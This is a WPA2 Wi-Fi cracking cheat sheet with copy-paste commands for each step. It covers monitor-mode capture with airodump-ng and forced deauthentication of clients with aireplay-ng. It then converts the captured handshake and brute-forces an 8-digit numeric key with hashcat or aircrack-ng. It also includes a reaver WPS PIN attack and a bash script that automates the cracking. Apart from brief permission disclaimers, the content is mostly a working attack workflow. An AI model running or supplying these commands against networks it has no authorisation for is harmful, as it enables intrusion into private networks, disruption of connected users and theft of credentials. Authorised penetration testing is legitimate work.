WPA2 Cracking Cheat Sheet — Capture → Convert → Crack

Legal: Only test networks/devices you own or have explicit written permission to test.

Quick Facts

- **8-digit numeric PIN keyspace:** `10^8 = 100,000,000` candidates (~0.9 GB if stored as lines).
- **Recommended workflow:** Capture handshake → verify → convert → crack with `hashcat` (GPU) or `aircrack-ng` (CPU/stream).

Variables (edit before running)

```
IFACE=wlan0            # physical wireless interface
MONIF=wlan0mon         # created monitor interface
CAPPREFIX=capture      # capture file prefix (creates capture-01.cap)
CHANNEL=6              # target AP channel
BSSID=AA:BB:CC:DD:EE:FF# target AP BSSID
ESSID="TargetSSID"   # optional SSID
CLIENT_MAC=AA:BB:CC:11:22:33 # optional client for deauth
```

---

1) Prep: monitor mode + capture (one terminal)

```
sudo airmon-ng check kill
sudo airmon-ng start $IFACE
sudo airodump-ng --band abg --channel $CHANNEL --bssid $BSSID -w $CAPPREFIX
$MONIF
# leave running until handshake captured
```

2) Deauth (second terminal)

```
# targeted deauth to force handshake (or omit -c to broadcast)
sudo aireplay-ng --deauth 10 -a $BSSID -c $CLIENT_MAC $MONIF
```

3) Quick handshake verification

```
# show EAPOL frames
tshark -r ${CAPPREFIX}-01.cap -Y "eapol"

# or quick check with aircrack-ng
aircrack-ng -J ${CAPPREFIX}_check ${CAPPREFIX}-01.cap
aircrack-ng ${CAPPREFIX}-01.cap
```

---

4) Convert capture → hashcat format (22000)

```
sudo apt update && sudo apt install -y hcxtools hashcat
hcxpcapngtool -o ${CAPPREFIX}.22000 ${CAPPREFIX}-01.cap
ls -lh ${CAPPREFIX}.22000
```

Notes: `22000` is recommended for modern hashcat. Older `.hccapx` (mode 2500) can be used with `cap2hccapx` but prefer 22000.

5A) Crack (PRO — GPU with hashcat, recommended for 8-digit PIN)

```
# Basic mask: 8 digits
hashcat -m 22000 ${CAPPREFIX}.22000 ?d?d?d?d?d?d?d?d --session=tlwr850n --
potfile-path=found.pot --status --status-timer=10
```

Description: `?d` = digit (0-9). Eight `?d` == 100,000,000 candidates. Use `--restore` / `--runtime` / `--force` as needed.

Useful hashcat flags

Flag	Purpose
`--status`	show progress periodically
`--status-timer=10`	status every 10s
`--potfile-path=FILE`	save found passwords
`--session=NAME`	name session for restore
`-w`	workload profile (1-4)

Flag	Purpose
`--restore`	resume previous session

5B) Crack (ALT — CPU streaming to aircrack-ng)

```
# stream numeric candidates (00000000..99999999) to aircrack-ng
seq -w 00000000 99999999 | sudo aircrack-ng -w - -b $BSSID ${CAPPREFIX}-01.cap

# with ESSID
# seq -w 00000000 99999999 | sudo aircrack-ng -w - -e "$ESSID" -b $BSSID $
{CAPPREFIX}-01.cap
```

Warning: CPU-bound and *much slower* than GPU hashcat. Use only if no GPU available.

---

6) WPS check & targeted WPS PIN attack (reaver) — only if WPS enabled & authorized

```
# check WPS
sudo wash -i $MONIF

# if WPS enabled and authorized, run reaver
sudo reaver -i $MONIF -b $BSSID -c $CHANNEL -vv
```

Notes: - WPS attacks exploit PIN weakness (protocol splits PIN into halves) → often much faster than full 10^8 brute force. - `reaver` / `bully` are noisy; may lock AP or trigger alarms.

---

7) Alternative generators (if you need a local wordlist)

```
# seq (fast, padded zeros)
seq -w 00000000 99999999 > 8digit_wordlist.txt

# crunch (if installed)
crunch 8 8 0123456789 -o 8digit_wordlist.txt

# python streaming generator
python3 - <<'PY' | aircrack-ng -w - -b $BSSID ${CAPPREFIX}-01.cap
import sys
```

```
for i in range(100000000):
    sys.stdout.write(f"{i:08d}\n")
PY
```

Note: Storing full list ~0.9GB. Prefer streaming or mask-mode.

---

8) Example automation script (one-file: convert + hashcat)

```
#!/bin/bash
# ./run_crack.sh
CAPPREFIX=capture
BSSID=AA:BB:CC:DD:EE:FF

set -e
hcxpcapngtool -o ${CAPPREFIX}.22000 ${CAPPREFIX}-01.cap || { echo "convert
failed"; exit 1; }
hashcat -m 22000 ${CAPPREFIX}.22000 ?d?d?d?d?d?d?d?d --session=tlwr850n --
potfile-path=found.pot --status --status-timer=10
```

`chmod +x run_crack.sh && ./run_crack.sh`

---

9) Pro Strategy Checklist (short)

1. Recon: check SSID, vendor (from BSSID), default lists.
2. Check WPS first (`wash`) → if enabled, use `reaver` / `bully` (with permission).
3. Convert to 22000 and use `hashcat` mask mode on GPU for numeric PINs.
4. Use masks & rules to reduce keyspace (e.g., known prefixes).
5. Use `--potfile-path` and session restore for long runs.
6. Keep logs & written authorization for pen-testing engagements.

---

10) Tips & Notes

- **Performance:** A single modern GPU can test millions of candidates/sec; check hashcat benchmark for exact speeds on your GPU.
- **When to use aircrack-ng:** small tests or when no GPU exists. Prefer streaming to avoid huge disk files.
- **WPS vs WPA:** WPS attacks frequently skip full WPA brute force because the protocol leak reduces keyspace.
- **Ethics & legality:** Always have written permission; audit logs and consent documentation are essential.

Troubleshooting Quick Hits

- `airmon-ng start` fails: install `aircrack-ng` package and firmware for your adapter.
- `hcxpcapngtool` not found: install `hcxtools` (`sudo apt install hcxtools`).
- Handshake not captured: try deauth with a known client or wait for client reconnection, or target PMKID with `hcxdumptool`.

References (tools)

- aircrack-ng, airodump-ng, aireplay-ng
- hcxtools / hcxpcapngtool
- hashcat (mode 22000)
- reaver / bully
- crunch / maskprocessor

Cheat-sheet created for quick copy/paste. Edit variables at the top of blocks before running.